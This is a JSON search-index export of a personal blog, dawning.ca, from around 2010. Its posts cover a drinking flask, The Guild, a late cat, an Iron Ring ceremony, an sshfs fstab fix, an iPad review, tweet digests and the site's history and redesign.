it\u0026rsquo;ll sit well on my desk and can defend against the attacks of cat tongues.\nThis was an expensive way to go but some people, like me, are willing to pay for some decent piece of mind - and I\u0026rsquo;ll be drinking from this thing for.. well.. as long as I can.. So may as well pay once for something decent that you use every day!\n","link":"https://dawning.ca/posts/erlenmeyer-flask-of-drinking/","section":"posts","tags":["Erlenmeyer Flask","Drinking","Geek","Water"],"title":"Erlenmeyer Flask of Drinking"},{"body":"","link":"https://dawning.ca/tags/geek/","section":"tags","tags":null,"title":"Geek"},{"body":"","link":"https://dawning.ca/tags/water/","section":"tags","tags":null,"title":"Water"},{"body":"","link":"https://dawning.ca/tags/felicia-day/","section":"tags","tags":null,"title":"Felicia Day"},{"body":"","link":"https://dawning.ca/categories/front-page-news/","section":"categories","tags":null,"title":"Front Page News"},{"body":"","link":"https://dawning.ca/categories/games-n-stuff/","section":"categories","tags":null,"title":"Games N Stuff"},{"body":"","link":"https://dawning.ca/categories/interesting-links/","section":"categories","tags":null,"title":"Interesting Links"},{"body":"","link":"https://dawning.ca/tags/the-guild/","section":"tags","tags":null,"title":"The Guild"},{"body":"","link":"https://dawning.ca/tags/value/","section":"tags","tags":null,"title":"Value"},{"body":" My copy of 'The Guild' The Guild has been around for some time now and I\u0026rsquo;ve enjoyed watching it many times over. It\u0026rsquo;s about the woes of RL existence for a group of gamer geeks.\nI first noticed the main drive behind The Guild, Felicia Day, from another similarly awesome project - Dr. Horrible\u0026rsquo;s Sing-along Blog. Aside from that, I\u0026rsquo;m also a casual but frequent World of Warcraft player. Thus, when I encountered The Guild I was absolutely trilled as it does a great job of illustrating the tone of some of the weird social stuff that comes out of leading a dominant online life.\nThe Guild has gone on in to a third season and I see no end in sight. I\u0026rsquo;m loving the third season and finding the earlier times remain well worth watching. I\u0026rsquo;ve also found the DVD is cool as they\u0026rsquo;ve tossed in the various little extras one might expect from a DVD (commentary, etc).\nCheck it out some time if you are willing to have a good giggle..\nFor the lazy, I\u0026rsquo;ve embedded the first episode below / after the break and if you like it, I\u0026rsquo;d suggest you toss a few bucks their way as this isn\u0026rsquo;t some lameo cash grab, but rather sincerely creative people producing something of real value and substance. You can also watch The Guild on youtube of from www.watchtheguild.com.\nHere\u0026rsquo;s episode #1 of The Guild:\n","link":"https://dawning.ca/posts/watch-the-guild/","section":"posts","tags":["world of warcraft","awesome","the guild","felicia day","dvd","value","open"],"title":"Watch The Guild"},{"body":"","link":"https://dawning.ca/tags/world-of-warcraft/","section":"tags","tags":null,"title":"World of Warcraft"},{"body":" Jasper, our epically sage cat left us March 24th, 2010.\nHe sported a remarkable disposition unlike that of any other cat I\u0026rsquo;ve known. He expressed a vast range of positive emotions (with the occasional impressive act of disapproval). Jasper\u0026rsquo;s one of a kind character sets the bar for kitties everywhere and earned him an assortment of loving nick-names such as \u0026ldquo;Puppy Cat\u0026rdquo;. His grace is unrivaled and we will unquestionably miss him.\nI am however delighted to have known him and thankful for the bizarre fortunes he enjoyed. This king of cats will remain comfortable and relaxed in the most treasured corners of our hearts.\nRest Peacefully Jasper.\nHere\u0026rsquo;s a great video of our Puppy-cat Jasper enjoying a bucket ride:\nHere are some photos of Jasper\u0026hellip;\n","link":"https://dawning.ca/posts/love-ya-jasper/","section":"posts","tags":["calgary","alberta","canada","jasper","cat","sage","pet","Family","love","loss","good life","kitty","feline","march 24"],"title":"Cheers to our sage cat, Mr. Jasper"},{"body":"","link":"https://dawning.ca/tags/feline/","section":"tags","tags":null,"title":"Feline"},{"body":"","link":"https://dawning.ca/categories/friends/","section":"categories","tags":null,"title":"Friends"},{"body":"","link":"https://dawning.ca/tags/good-life/","section":"tags","tags":null,"title":"Good Life"},{"body":"","link":"https://dawning.ca/tags/jasper/","section":"tags","tags":null,"title":"Jasper"},{"body":"","link":"https://dawning.ca/tags/kitty/","section":"tags","tags":null,"title":"Kitty"},{"body":"","link":"https://dawning.ca/tags/love/","section":"tags","tags":null,"title":"Love"},{"body":"","link":"https://dawning.ca/tags/march-24/","section":"tags","tags":null,"title":"March 24"},{"body":"","link":"https://dawning.ca/tags/pet/","section":"tags","tags":null,"title":"Pet"},{"body":"","link":"https://dawning.ca/tags/sage/","section":"tags","tags":null,"title":"Sage"},{"body":"","link":"https://dawning.ca/tags/academic/","section":"tags","tags":null,"title":"Academic"},{"body":"","link":"https://dawning.ca/tags/calling/","section":"tags","tags":null,"title":"Calling"},{"body":"","link":"https://dawning.ca/tags/engineer/","section":"tags","tags":null,"title":"Engineer"},{"body":"","link":"https://dawning.ca/tags/iron-ring/","section":"tags","tags":null,"title":"Iron Ring"},{"body":"","link":"https://dawning.ca/tags/professional/","section":"tags","tags":null,"title":"Professional"},{"body":"","link":"https://dawning.ca/tags/school/","section":"tags","tags":null,"title":"School"},{"body":" Last Saturday was the Ritual of the Calling of an Engineer, particularly in this case, my calling.\nThe day consisted of a workshops, some social gatherings, a formal ring ceremony and banquet.. It was an epically full day I\u0026rsquo;m sure to remember so long as my brain is in tact.\nSuffice to say, I learned a lot more about the illusive Iron Ring. I discovered a lot more about what it stands for and I now have a lot more appreciation for this symbol and commitment. By the nature of the commitment, we\u0026rsquo;re not encouraged to rant about the details as it\u0026rsquo;s a commitment to ourselves and thus not intended to be a public thing. It\u0026rsquo;s a great concept \u0026amp; I think it could and should be expanded in some regard to apply to any and all professions, at least in some regard.\nAnyway, it was an epic time. Won\u0026rsquo;t be forgotten any time soon. Photos from the day are here.\n","link":"https://dawning.ca/posts/iron-ring/","section":"posts","tags":["calgary","university","iron ring","engineer","james snell","calling","School","professional","academic"],"title":"This Engineer has been called"},{"body":"","link":"https://dawning.ca/tags/university/","section":"tags","tags":null,"title":"University"},{"body":"","link":"https://dawning.ca/tags/etc/fstab/","section":"tags","tags":null,"title":"/Etc/Fstab"},{"body":"","link":"https://dawning.ca/tags/d/","section":"tags","tags":null,"title":"D??"},{"body":"","link":"https://dawning.ca/tags/fstab/","section":"tags","tags":null,"title":"Fstab"},{"body":"","link":"https://dawning.ca/tags/resolve/","section":"tags","tags":null,"title":"Resolve"},{"body":"","link":"https://dawning.ca/tags/sshfs/","section":"tags","tags":null,"title":"Sshfs"},{"body":"","link":"https://dawning.ca/tags/ubuntu-9.10/","section":"tags","tags":null,"title":"Ubuntu 9.10"},{"body":"Hey just a fast post here.. I\u0026rsquo;ve been using sshfs on Ubuntu (meh, linux in general) for awhile as a means of securely remotely accessing my files. I\u0026rsquo;ve taken some steps to add a line to my /etc/fstab file to make this run smoothly\u0026hellip;\nThough today I ran in to a really weird situation. I found that despite having a uid=xxxx line, the appropriate user wasn\u0026rsquo;t getting ownership of the mount. In fact, when that user would look at the permissions for the mount, it returned something like \u0026ldquo;d???? ? ? ?\u0026rdquo;. Whisky Tango Foxtrot.\nWell, turned out the problem was a result of how I had my fstab arranged.\nThe \u0026lsquo;fix\u0026rsquo; feels like a \u0026ldquo;flaky hack\u0026rdquo; to me. I had to put \u0026quot;port=22,comment=sshfs\u0026quot; at the front of the options section for the sshfs lines in my fstab. I had previously had this stuff towards the end of that section and I really would expect it not to matter. But it did.\nIn general, you too can add a line to your sshfs, try something like this:\nsshfs#remoteusername@hostname.domain.tld:/home/remoteusername\\t/media/remoteblahwhatever\\tfuse port=22,comment=sshfs,BatchMode=yes,user,noauto,uid=1000,gid=1000,follow_symlinks,defaults 0 0\nFor more on that do a google search, you\u0026rsquo;ll find lots of good stuff on it. Just keep in mind that you may want to setup pre-shared keys for ssh, you know, add whatever to your ~/.ssh/authorized_keys to help with the mounts.. blah, go look that stuff up.\nAnyway, whatever - hope that helps someone\n","link":"https://dawning.ca/posts/ubuntu-sshfs/","section":"posts","tags":["linux","sshfs","ubuntu 9.10","/etc/fstab","fstab","configure","permission","user","d??","order","resolve","fix"],"title":"Ubuntu 9.10 remote mounts via sshfs"},{"body":"","link":"https://dawning.ca/tags/user/","section":"tags","tags":null,"title":"User"},{"body":"","link":"https://dawning.ca/tags/advertisements/","section":"tags","tags":null,"title":"Advertisements"},{"body":"","link":"https://dawning.ca/tags/bullshit/","section":"tags","tags":null,"title":"Bullshit"},{"body":"","link":"https://dawning.ca/tags/chalkboards/","section":"tags","tags":null,"title":"Chalkboards"},{"body":"","link":"https://dawning.ca/tags/college/","section":"tags","tags":null,"title":"College"},{"body":"","link":"https://dawning.ca/tags/distraction/","section":"tags","tags":null,"title":"Distraction"},{"body":"","link":"https://dawning.ca/tags/education/","section":"tags","tags":null,"title":"Education"},{"body":"","link":"https://dawning.ca/tags/in-school/","section":"tags","tags":null,"title":"In School"},{"body":"","link":"https://dawning.ca/tags/james-t-snell/","section":"tags","tags":null,"title":"James T Snell"},{"body":"A Message to my fellow U of C Students\u0026hellip;. 'PL'-this BS-'O' The other day I was sitting in class watching a prof write some notes on the chalkboard. As per usual, he navigated around a big section of the board that was boxed off with a note \u0026ldquo;PLO\u0026rdquo; (Please Leave On) written over it. The notes he wrote were compressed and distorted as he really needed a full board to express the idea.\nIt got me thinking\u0026hellip; Watching my prof thoughtfully navigate around the box got me thinking of how this \u0026lsquo;bull\u0026rsquo; was affecting everyone in the room. There we all sat to learn something new. The person sharing their idea has so many limits on communication to navigate and this PLO box was one of them.\nI recall seeing these kinds of ADVERTISEMENTS on chalkboards back in to high school. I\u0026rsquo;ve seen them thoughout my 8 years / 2 degrees at U of C\u0026hellip; They\u0026rsquo;re nothing new and they compete for our attention. Yet I\u0026rsquo;m starting to wonder why my profs generally respect and avoid these intrusions?\nWhat are we here to do? We\u0026rsquo;re assaulted by advertisements and other distractions every where we go. With the ever growing presence of funtastic electronic additions to the classroom the list of distractions continues to expand. But it\u0026rsquo;s time a line is drawn and I\u0026rsquo;m drawing it at hand-written ads in the middle of main staple of education.\nAt U of C, we\u0026rsquo;re attending a publicly funded institution that EXISTS to FACILITATE EDUCATION. Everyone in Alberta is paying for this facility to exist and it\u0026rsquo;s not like I get a tuition break for reading constant advertisements off the chalkboard. I love that we have a vibrant community with news and information to share. However, we all know there are tons of designated post boards, bathroom stalls, rocks, side walks and foreheads available to this end.\nLet\u0026rsquo;s get on with it Students, I implore you all. When you see one of these BS \u0026ldquo;PLO\u0026quot;s, erase it. You\u0026rsquo;re paying for this educational opportunity and someone posting their ad in the middle of your learning surface is a smite to what you\u0026rsquo;re here to accomplish.\nProfs, that\u0026rsquo;s YOUR surface to express yourself. Use it all so that your thankful learned students can give you stronger ratings in return. Erasing PLOs may even result in greater respect from your students when they see you\u0026rsquo;re interested in helping them get what you\u0026rsquo;re saying.\nPLOers, keep expressing yourself and your business. Just get the \u0026lsquo;frak\u0026rsquo; off our chalkboards.\nPhew! Okay, back to work!\n","link":"https://dawning.ca/posts/shove-your-chalkboard-spam/","section":"posts","tags":["university of calgary","james t snell","chalkboards","bullshit","education","advertisements","in school","university","college","distraction"],"title":"No More Chalkboard Spam"},{"body":"","link":"https://dawning.ca/categories/school/","section":"categories","tags":null,"title":"School"},{"body":"","link":"https://dawning.ca/tags/android/","section":"tags","tags":null,"title":"Android"},{"body":"","link":"https://dawning.ca/tags/big-brother/","section":"tags","tags":null,"title":"Big Brother"},{"body":"","link":"https://dawning.ca/tags/defective-by-design/","section":"tags","tags":null,"title":"Defective by Design"},{"body":"","link":"https://dawning.ca/tags/device/","section":"tags","tags":null,"title":"Device"},{"body":"","link":"https://dawning.ca/tags/drm/","section":"tags","tags":null,"title":"Drm"},{"body":"","link":"https://dawning.ca/tags/ebook/","section":"tags","tags":null,"title":"Ebook"},{"body":" iPad Promo Images Yesterday Apple introduced their massively anticipated iPad tablet device. For those who haven\u0026rsquo;t yet heard about it, it\u0026rsquo;s basically a hudge iPhone (that doesn\u0026rsquo;t make phone calls). The iPad is meant to unlock a \u0026ldquo;new\u0026rdquo; market segment for small computing devices that is somehow not already met by the iPhone and netbooks.\nWhat does it do, anything new? The iPad doesn\u0026rsquo;t bring new functionality to the computing world, but it does consolidate and simplify use particularly of eBooks. There have long since been many very cool eBook readers out there built around providing simple means for people to read electronic books.\nAmazon's Kindle eBook reader With the release of iPad, iTunes will expand to include support for buying eBooks and of course that functionality will be easily available for regular computers and perhaps for the iPhone as well, unless Apple decides allowing that would result in you buying less stuff.\nBeyond books, the iPad does all the stuff you expect from an iPhone. It runs the exact same applications (with rare exceptions), it will play back music and movies. Of course one major distinction is screen size. The iPhone\u0026rsquo;s screen is made up of 480x320 pixels where as the iPad provides 1024x768. So in the case of browsing documents, this will make a major difference. The iPad\u0026rsquo;s resolution however is like that of a standard TV - so all our new HD/widescreen content won\u0026rsquo;t fill the screen (unless you like cropping out much of the scene).\nLike some of the better eBook readers, the high end iPad offers 3G connectivity. This enables those users to be connected to the internet via the cell phone network (like our smart phones). The sad part here is the extra ~$130USD for 3G is well on it\u0026rsquo;s way to paying for an Amazon Kindle or a Barnes \u0026amp; Noble Nook (both $260USD) which are optimized strictly for reading eBooks but both include 3G as well.\nSo does the iPad rock? For When You Wish you'd bought a Laptop Jobs Demoing iPad Meh. Maybe..\nErgonomics is the Achilles\u0026rsquo; heel of the iPad. One has to manually hold the device in a position so that you can see the screen. If you\u0026rsquo;re sitting like Steve Jobs in a chair, you\u0026rsquo;ll be fine, but anyone with decent posture to maintain can\u0026rsquo;t stay like that for hours.\nApple says the iPad can run for 10 hours playing video, but I\u0026rsquo;d NEVER be interested in holding it at a good angle for nearly that long. I don\u0026rsquo;t like watching full movies on my iPhone and that thing weighs a great deal less, not mention the added leverage factors that come in to play in holding a large screen from one side. Devices like the Kindle and the Nook (which obviously won\u0026rsquo;t be playing videos and games) are much more streamlined, so holding them like a pad of paper is going to be less of a strain.\nI think the iPad is likely to enable the masses (if only via excellent marketing) to access loads of eBooks and it may boost people\u0026rsquo;s casual drawing habbits. The starting price of $500USD seems reasonable, but for people with laptops and iPhones (or iPod Touches) the device only gives you a differently shaped platform to enjoy the same content through.\neBooks? The Barnes \u0026 Noble Nook If you\u0026rsquo;re mostly just interested in reading eBooks, then save some $ and get yourself a Kindle or a Nook. They cost half as much and for another $200 or so, you can get a cheap laptop or a decent netbook for the games/multimedia side of things.\nThe iPad doesn\u0026rsquo;t use epaper which is really low power and is much easier on the eyes. The iPad also packs a ton of guts beyond that of a typical eBook reader thus more parts to fail, it\u0026rsquo;s heavier, etc..\nDefective By Design Big Brother 1984 The Barnes \u0026amp; Noble Nook in particular uses the Open Sourced Google Android platform which therefore enables users demanding certain functionality. The Apple approach is very thoughtful, but there are occasions where Apple will squash a demanded innovation in favor of their own agenda. With devices running Google Android, it\u0026rsquo;s much easier for the innovative idea of an individual to make it\u0026rsquo;s way in to general use with the device.\nFor non-developers, you\u0026rsquo;d probably never realize or care about this aspect of things. For those interested in using their devices to their full abilities, Apple\u0026rsquo;s process of developing applications for the iPhone platform (which is used by the iPad) is quite exclusive and puts the interests of the users second to Apple\u0026rsquo;s.\nFor more information about DRM check out the Defective by Design website.\nPunchline, should you buy one? Star Trek PADDs If you own an iPhone or iPod Touch, then no.\nThe iPad is interesting and beautiful like anything else Apple does. The only particularly cool new ability one gains is finger painting. The eBook functionality will be available to any machine with iTunes unless Apple decides to explicitly block that functionality to \u0026ldquo;motivate\u0026rdquo; us to buy an iPad. Further, those interested in reading eBooks should really hold out for a device with epaper as it\u0026rsquo;s so nice on the eyes. Also epaper based readers are a competitive market that\u0026rsquo;s been through a few revisions by now. Also, in going after those devices the user gains the ability to chose an open system rather than being forced in to the Apple world of absolute control. Just keep in mind most devices are insanely locked down, so if you\u0026rsquo;re going for open, pay attention (Look at the Nook).\nThe iPad inherits a lot of value by being tightly integrated with the existing iTunes App Store and Apple\u0026rsquo;s valuable marketing engine. Apple is in a great position to bring content that the competitors lack and they\u0026rsquo;ve nailed down making things extremely easy to use. Yet still, the iPad lacks a Camera, USB hosting, SD card reader and a lot of other features that could have helped it play more on par with features found in typical reader tablets. Perhaps if the iPad ushered in multi-tasking or even ran what looks like a desktop version of OSX my opinion would be different. But for their first version, I give it a thumbs down.\nAs consumers we have a ton of options from the small device world, such as the ~$350 Acer Aspire One 751H-1709, which sports a high resolution screen, a beautiful keyboard and some other nice features. There are multiple multi-media tablets out there to choose from, they all have strengths and weaknesses. At the end of the day, you need to ask yourself what \u0026rsquo;need\u0026rsquo; are you wanting to satisfy.\nIf you were me, you\u0026rsquo;d make sure you have a laptop (a refurbished Apple is a good move), an iPhone and maybe a Nook. Apple will keep working on the iPad and perhaps before long it\u0026rsquo;ll become the Star Trek PADD that we all wish it to be.\u0026lt;/Two_Cents\u0026gt;\n","link":"https://dawning.ca/posts/ipad/","section":"posts","tags":["apple","open source","device","ipad","ebook","tablet","kindle","nook","steve jobs","big brother","android","drm","defective by design","ARM"],"title":"iPad FTW?"},{"body":"","link":"https://dawning.ca/tags/open-source/","section":"tags","tags":null,"title":"Open Source"},{"body":"","link":"https://dawning.ca/tags/tablet/","section":"tags","tags":null,"title":"Tablet"},{"body":"","link":"https://dawning.ca/tags/tweets/","section":"tags","tags":null,"title":"Tweets"},{"body":"","link":"https://dawning.ca/tags/twitter/","section":"tags","tags":null,"title":"Twitter"},{"body":"\\t- Ugh, having some weird connectivity problems with #Shaw right now. #yyc. Established connections are holding, new ones will sometimes work #\n\\t- Being forced to work on my pf skills.. Can\u0026rsquo;t resume my Django fun until I solve this. Sigh. #\n\\t- Well, that was a good #django jam session. What? stayed up all night again? Huh.. #\n\\t- Okay, I fixed my GoDaddy problem.. I\u0026rsquo;m not happy that my DNS record randomly changed like that. WTF? #\n\\t- Well, here\u0026rsquo;s a strike against GoDaddy.. They just randomly \u0026ldquo;broke\u0026rdquo; my DNS record \u0026amp; their management tool is \u0026ldquo;Temporarily Unavailable\u0026rdquo; #\n\\t- Having some power spikes in NW #Calgary (#yyc) over the last couple of minutes.. #\n\\t- Awesome! I managed to get another course recognized as an equivalent to stuff I already did - another step closer to grad! #\n\\t- I\u0026rsquo;ve spent a few hours trying to solve a Python problem the last few days - turns out it was a trivial user permissions problem. Ha ha ha, #\n\\t- Nice, this is prime time and yet I\u0026rsquo;m getting between 330 to 700 KB/s upload to my server in Texas. Not too shabby. #\n\\t- Anyone know of a good way of integrating typical #Django authentication with OpenID? I need a M to RTF. #\n\\t- Got \u0026lsquo;git\u0026rsquo; going.. I really like that there aren\u0026rsquo;t hidden directories everywhere and a requirement to use git to add/del stuff! Easy! #\n\\t- If my #Django \u0026lt;3 continues to grow at this rate, by next week I\u0026rsquo;ll never sleep again! #\n\\t- I just registered my first, and likely only .it domain name.. Freakin rip off, but I like the name that much, I guess. #\n\\t- Talk about over optimization of parking resources http://twitti.ms/7d3z #\n\\t- King of Crows: http://bit.ly/L7D6b (from Digg) #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2010-01-25-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2010-01-25"},{"body":"\\t- Ugh, having some weird connectivity problems with #Shaw right now. #yyc. Established connections are holding, new ones will sometimes work #\n\\t- Being forced to work on my pf skills.. Can\u0026rsquo;t resume my Django fun until I solve this. Sigh. #\n\\t- Well, that was a good #django jam session. What? stayed up all night again? Huh.. #\n\\t- Okay, I fixed my GoDaddy problem.. I\u0026rsquo;m not happy that my DNS record randomly changed like that. WTF? #\n\\t- Well, here\u0026rsquo;s a strike against GoDaddy.. They just randomly \u0026ldquo;broke\u0026rdquo; my DNS record \u0026amp; their management tool is \u0026ldquo;Temporarily Unavailable\u0026rdquo; #\n\\t- Having some power spikes in NW #Calgary (#yyc) over the last couple of minutes.. #\n\\t- Awesome! I managed to get another course recognized as an equivalent to stuff I already did - another step closer to grad! #\n\\t- I\u0026rsquo;ve spent a few hours trying to solve a Python problem the last few days - turns out it was a trivial user permissions problem. Ha ha ha, #\n\\t- Nice, this is prime time and yet I\u0026rsquo;m getting between 330 to 700 KB/s upload to my server in Texas. Not too shabby. #\n\\t- Anyone know of a good way of integrating typical #Django authentication with OpenID? I need a M to RTF. #\n\\t- Got \u0026lsquo;git\u0026rsquo; going.. I really like that there aren\u0026rsquo;t hidden directories everywhere and a requirement to use git to add/del stuff! Easy! #\n\\t- If my #Django \u0026lt;3 continues to grow at this rate, by next week I\u0026rsquo;ll never sleep again! #\n\\t- I just registered my first, and likely only .it domain name.. Freakin rip off, but I like the name that much, I guess. #\n\\t- Talk about over optimization of parking resources http://twitti.ms/7d3z #\n\\t- King of Crows: http://bit.ly/L7D6b (from Digg) #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2010-01-25/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2010-01-25"},{"body":"\\t- When I become a tycoon, my bathroom tower room will look like: http://twitti.ms/Fsd5 #\n\\t- Well, I just refined my website redesign a ton. What you all think? https://dawning.ca) #\n\\t- Whoops, damn automated Tweet thingys - gotta remember where my spies are. ;) #\n\\t- Web Apps #\n\\t- Hardware #\n\\t- Software #\n\\t- Dawning.ca Spruced Up #\n\\t- Man, my quest to not eat chicken is a formidible task #\n\\t- Evidently Jeri Ryan is marginally larger than my hand! http://twitti.ms/4vWi #\n\\t- Mmmm, nerdy http://twitti.ms/02AF #\n\\t- Close up view of 29th centry tech - the mobile emitter prop. Looks upside down http://twitti.ms/fK71 #\n\\t- The CPO Star Trek concert is about to begin #yyc http://twitti.ms/r8aM #\n\\t- Crap I dropped my carrot juice! 10 second rule? http://twitti.ms/52EX #\n\\t- WTF the new renos to the UofC Subway have halved how many ppl they can serve!? #\n\\t- Handy Date Selection Java Script Widget I\u0026rsquo;m using with a Django App: http://bit.ly/8HZhRF #\n\\t- Twitter Weekly Updates for 2010-01-11 #\n\\t- Just finished helping my bud do his first Apache install, now we\u0026rsquo;re setting up Wordpress. #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2010-01-18-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2010-01-18"},{"body":"\\t- When I become a tycoon, my bathroom tower room will look like: http://twitti.ms/Fsd5 #\n\\t- Well, I just refined my website redesign a ton. What you all think? https://dawning.ca) #\n\\t- Whoops, damn automated Tweet thingys - gotta remember where my spies are. ;) #\n\\t- Web Apps #\n\\t- Hardware #\n\\t- Software #\n\\t- Dawning.ca Spruced Up #\n\\t- Man, my quest to not eat chicken is a formidible task #\n\\t- Evidently Jeri Ryan is marginally larger than my hand! http://twitti.ms/4vWi #\n\\t- Mmmm, nerdy http://twitti.ms/02AF #\n\\t- Close up view of 29th centry tech - the mobile emitter prop. Looks upside down http://twitti.ms/fK71 #\n\\t- The CPO Star Trek concert is about to begin #yyc http://twitti.ms/r8aM #\n\\t- Crap I dropped my carrot juice! 10 second rule? http://twitti.ms/52EX #\n\\t- WTF the new renos to the UofC Subway have halved how many ppl they can serve!? #\n\\t- Handy Date Selection Java Script Widget I\u0026rsquo;m using with a Django App: http://bit.ly/8HZhRF #\n\\t- Twitter Weekly Updates for 2010-01-11 #\n\\t- Just finished helping my bud do his first Apache install, now we\u0026rsquo;re setting up Wordpress. #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2010-01-18/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2010-01-18"},{"body":"In the Beginning The Dawning.ca Project was something I started out of boredom back in 2001 while in grade 12. There was a 3 week long teachers strike, I suspect I got more done in that time than I did in most months of high school. Ohh the irony of closing a school and boosting education.\nAnyway, since that time the website has undergone a few major changes, for the sake of interest I\u0026rsquo;m chronicling them here.\nIteration 1: Late 2001 The very first iteration of Dawning.ca has been lost to the erosion of time. I barely remember it, but it was one of those Web 1.0 sites where all pages were individual static html files. Of course everything was hand written with Vi. I recall that I had a few images with text in the images as I found it a good way of making sure fonts were \u0026ldquo;supported\u0026rdquo;. Suffice to say, this iteration didn\u0026rsquo;t last long before I replaced it.\nIteration 2: 2002-2006 Dawning.ca from the early 2000s The next major iteration of Dawning.ca stuck for quite awhile. It was similarly basic like the first version, still a set of static html pages, mostly.. This time I had crude use of PHP to \u0026ldquo;include\u0026rdquo; different static pages in to one place. It worked well enough for then.\nThis version of the site also had a blog component, unlike before. I found this version slowly grow in content for quite awhile. Of course this version was also hand-written with Vi. I also had a few aspects of the site being randomly changed with a PHP random function call. It was crude, but functional.\nIteration 3: Late 2006 The third iteration of Dawning.ca was a challenging step forward. It was only in service for about a month or so, but it took me a few months to build. This version was heavily built on PHP. I had a single PHP main function that generated most of the pages. I used html forms all over the place for navigation rather than html links. Tacky, for sure, but at the time it was the only way I knew to get my links looking \u0026ldquo;Cool\u0026rdquo;. I also had some basic CSS work going on this site. However the next iteration quickly clobbered it as I found a better way of doing things.\nIteration 4: 2007-Present Early Wordpress version of Dawning.ca The current iteration of Dawning.ca began when I discovered the ever-wonderful Wordpress. As much as I prefer to do things by hand I found that Wordpress had so much to offer that I decided I was foolish not to use it, at least for awhile. Well it turned out that using Wordpress led me to learning a fair bit more about PHP (which it\u0026rsquo;s written with). I\u0026rsquo;ve had fun easily integrating this generation of Dawning.ca with various other sites such as Facebook, Flickr and lately Twitter.\nThe Wordpress iteration of Dawning.ca has endured for awhile yet. Lately I\u0026rsquo;ve considered re-developing the site by hand using the Django framework. I\u0026rsquo;ve used Django for several projects, one of which a massive one. And the desire to return to something hand-made is getting stronger, especially as I can now reproduce all of the functionality I use with a Python implementation. However, for the time being, I retain the Wordpress version, in part because I\u0026rsquo;ve now built Wordpress sites for others and want to stay current with Wordpress.\n","link":"https://dawning.ca/pages/history_of_dawning/","section":"pages","tags":null,"title":"The Dawning.ca Project"},{"body":" Some FPGA Work There are those times when goofin with software isn\u0026rsquo;t tactile enough for me and I need to take my work elsewhere.. Thus \u0026ldquo;go-go-gadget Engineer\u0026rdquo; mode.\nSome of my Hardware Efforts: \\t- MakerBot #155: 3D Object Maker Coolness\n\\t- Mouse Hack: A funky USB/Wireless Network Hack\n\\t- HypnoOrb: Funky Lamp\n- [ReplicatorBot.com](http://replicatorbot.com): A Project to build a 3D scanner to augment MakerBots \\t- Other Arduino Related Stuff\n\\t- Other stuff yet, but not mentioned here\nTech I Attend \u0026amp; Affect \\t- Arduino-based Whatevers\n\\t- FPGA kagiggers: I haven\u0026rsquo;t done much with them out of school, but seems I\u0026rsquo;m quite good with \u0026rsquo;em\n\\t- Fabrication/Layout/Prototyping/Assembly of simple PCBs\n\\t- I\u0026rsquo;d like to mess around more with ARM-based machines, matter of time \u0026amp; resources there\n\\t- LCDs and character displays: Got a little bit of that stuff, matter of time to do cool things there too\n","link":"https://dawning.ca/pages/hardware/","section":"pages","tags":null,"title":"Hardware"},{"body":" Some random code of mine... In step with my inner Computer Scientist, I often bury my brain in intensely fun software development projects. Some times it\u0026rsquo;s for work, often times it\u0026rsquo;s because I like to stretch my neurons.\nSome Projects Of Mine Not all of my code can be made public, but you know, some can. Some of my public projects include:\n\\t- STP: A Speech Synthesis Toy\n\\t- YouTube Downloader Gadget\n\\t- Calgary Traffic Web Thingy\n\\t- Tardulator: A hello-world Cocoa-based Calculator\n\\t- Various Python Scripts I don\u0026rsquo;t feel motivated to post right now..\n\\t- Other stuff..\nFor a more detailed summary of this stuff, surf over to my Projects page.\nFavorite Toys When coding stuff up there\u0026rsquo;s a number of toys I tend to find interesting to use:\n\\t- Vi: Text Editor of Kings (Use Emacs if you\u0026rsquo;re a n00b)\n\\t- Python: Programming Language of Kings \u0026amp; Perfectionists\n\\t- Django: Crack for Pythonthumpers\n\\t- Songbird \u0026amp; Last.FM: To keep the non-programmer parts of my brain pacified.\n\\t- Lavalamp: Meh, Atmosphere is worth a lot\n\\t- XCode \u0026amp; Cocoa: Some times I like toying with Apple\u0026rsquo;s Tools\n\\t- Visual Studio: Blah, I\u0026rsquo;m impressed by it, but I don\u0026rsquo;t use it that often\n\\t- Bath Tub: Some times I enjoy mixing some of all of these with a bath tub, keeps my feet super warm ;)\n","link":"https://dawning.ca/pages/software/","section":"pages","tags":null,"title":"Software"},{"body":"","link":"https://dawning.ca/tags/atahualpa/","section":"tags","tags":null,"title":"Atahualpa"},{"body":"","link":"https://dawning.ca/tags/blog/","section":"tags","tags":null,"title":"Blog"},{"body":"","link":"https://dawning.ca/tags/columbia.ab.ca/","section":"tags","tags":null,"title":"Columbia.ab.ca"},{"body":"","link":"https://dawning.ca/tags/dawning.ca/","section":"tags","tags":null,"title":"Dawning.ca"},{"body":" Previous Dawning.ca Layout I\u0026rsquo;ve just spent a few hours re-designing the layout of Dawning.ca. The old one served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup\u0026hellip; As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.\nObjectives Basically, I was trying to get the site to be:\n\\t- Simple to use\n\\t- Uncluttered\n\\t- Attractive\n\\t- Professional \u0026amp; Casual\n\\t- Technically Interesting\n\\t- Simple to use\n\\t- Did I mention, simple to use?\nI feel I accomplished these goals. Though I felt I had to sacrifice some technically interesting features in order to reduce the clutter. I had made some cool logos awhile ago that looked good on the more cartoony past version of the site, but they looked horrible here. I ultimately decided to just get rid of the top banner all together, I don\u0026rsquo;t think people need to keep being reminded of what site they\u0026rsquo;re on. Anyway, comment below eh!?\nTechnical Blah I\u0026rsquo;m using a few css tricks I\u0026rsquo;ve learned in the last while to round corners, shade and pretty things up. Mainly, for rounded corners I use tricks such as those found here.\nIn terms of the shading, if you carefully look at my setup, the black gradient on the red background is made from a 1 x 200 px png image file overlayed on a red background. CSS for that trick is that like this:\nbackground-image: url(\u0026rsquo;/media/bkgd.png\u0026rsquo;); background-repeat: repeat-x;\nMost shaded regions are made using 10 x 10 px images repeated that are very transparent png images. I use css nearly identical to that above for this too, only difference is the repeat statement has no -x to it.\nI built up the new theme using the very famous and helpful Atahualpa theme. I\u0026rsquo;ve used this theme for various Wordpress websites of mine including those for:\n\\t- Columbia College\n\\t- 